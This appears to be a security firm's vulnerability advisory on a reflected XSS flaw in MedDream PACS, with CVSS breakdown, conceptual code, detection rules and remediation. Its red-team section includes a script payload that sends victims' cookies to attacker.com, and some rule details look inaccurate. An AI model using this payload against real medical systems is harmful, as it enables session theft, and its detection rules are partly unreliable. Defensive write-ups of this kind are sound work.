CVE-2025-57787

Executive Summary

CVE-2025-57787 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw exists in the modifyRoute functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but can lead to session hijacking, data theft, or defacement. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a malicious link.
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the lack of authentication and remote attack vector increases risk in environments where users may click untrusted links.

Deep Dive & Mechanics

The vulnerability resides in the modifyRoute function of MedDream PACS Premium. This function likely processes URL parameters to modify routing or navigation within the application. Due to insufficient input validation and output encoding, an attacker can inject malicious JavaScript code into a URL parameter. When a victim clicks the crafted URL, the injected script executes in the context of the victim's browser session.

Attack Flow:

1. Attacker crafts a URL containing a malicious payload in a parameter processed by modifyRoute.
2. Attacker delivers the URL via phishing email, social media, or other means.
3. Victim clicks the URL while authenticated to MedDream PACS.
4. The application reflects the payload without proper sanitization, executing the attacker's JavaScript.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: Lack of input validation and output encoding in the modifyRoute handler.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the modifyRoute function. A patched version would implement proper input sanitization and output encoding.

Vulnerable Code (Conceptual):

// Vulnerable: Directly reflects user input without sanitization
function modifyRoute(route) {
    document.getElementById('routeDisplay').innerHTML = route;
}

Patched Code (Conceptual):

// Patched: Sanitizes input before reflection
function modifyRoute(route) {
    const sanitizedRoute = DOMPurify.sanitize(route);
    document.getElementById('routeDisplay').innerHTML = sanitizedRoute;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• MedDream PACS Premium 7.3.6.870 running on a test environment.
• A victim user with an active session.

Exploitation Steps:

1. Identify the vulnerable parameter in the modifyRoute function (e.g., route).
2. Craft a malicious URL:

   http://target-pacs.com/modifyRoute?route=<script>alert('XSS')</script>
   

3. Deliver the URL to the victim via phishing email or social engineering.
4. When the victim clicks the link, the JavaScript executes in their browser.

Advanced Payload (Session Hijacking):

http://target-pacs.com/modifyRoute?route=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection & Response:

• Monitor web server logs for suspicious URL patterns containing <script> tags or encoded JavaScript.
• Deploy Web Application Firewall (WAF) rules to block reflected XSS payloads.
• Educate users about phishing attacks and the risks of clicking untrusted links.

Lab Setup for Testing:

• Install MedDream PACS Premium 7.3.6.870 in an isolated VM.
• Use a browser with developer tools to inspect network requests.
• Simulate attacks using Burp Suite or OWASP ZAP.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing modifyRoute?route= followed by <script> tags or JavaScript code.
• Network Traffic: Outbound connections to attacker-controlled domains from the PACS server.
• Log Entries: HTTP 200 responses with reflected script content in the response body.
• File Artifacts: Temporary files or cookies containing malicious JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_57787_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting MedDream PACS modifyRoute"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-57787"
    strings:
        $url_pattern = /modifyRoute\?route=.*<script/i
        $payload = /<script[^>]*>.*<\/script>/i
    condition:
        $url_pattern and $payload
}

Sigma Rule

title: Reflected XSS Attempt on MedDream PACS modifyRoute
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting the modifyRoute endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'modifyRoute?route='
        cs-uri-query|re: '.*<script.*'
    condition: selection
falsepositives:
    - Legitimate use of script tags in URL parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-57787 Reflected XSS in MedDream PACS modifyRoute";
    flow:to_server,established;
    content:"modifyRoute?route="; http_uri;
    content:"<script"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

• Disable or restrict access to the modifyRoute functionality if not essential.
• Implement input validation and output encoding for all user-supplied data.
• Deploy a Web Application Firewall (WAF) with rules to block reflected XSS payloads.

Long-Term Fix:

• Apply vendor patch when available.
• Conduct a security audit of the application for similar vulnerabilities.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workarounds:

• Use browser extensions that block XSS (e.g., NoScript).
• Educate users to avoid clicking suspicious links.

Valters IT
Securing Digital Frontiers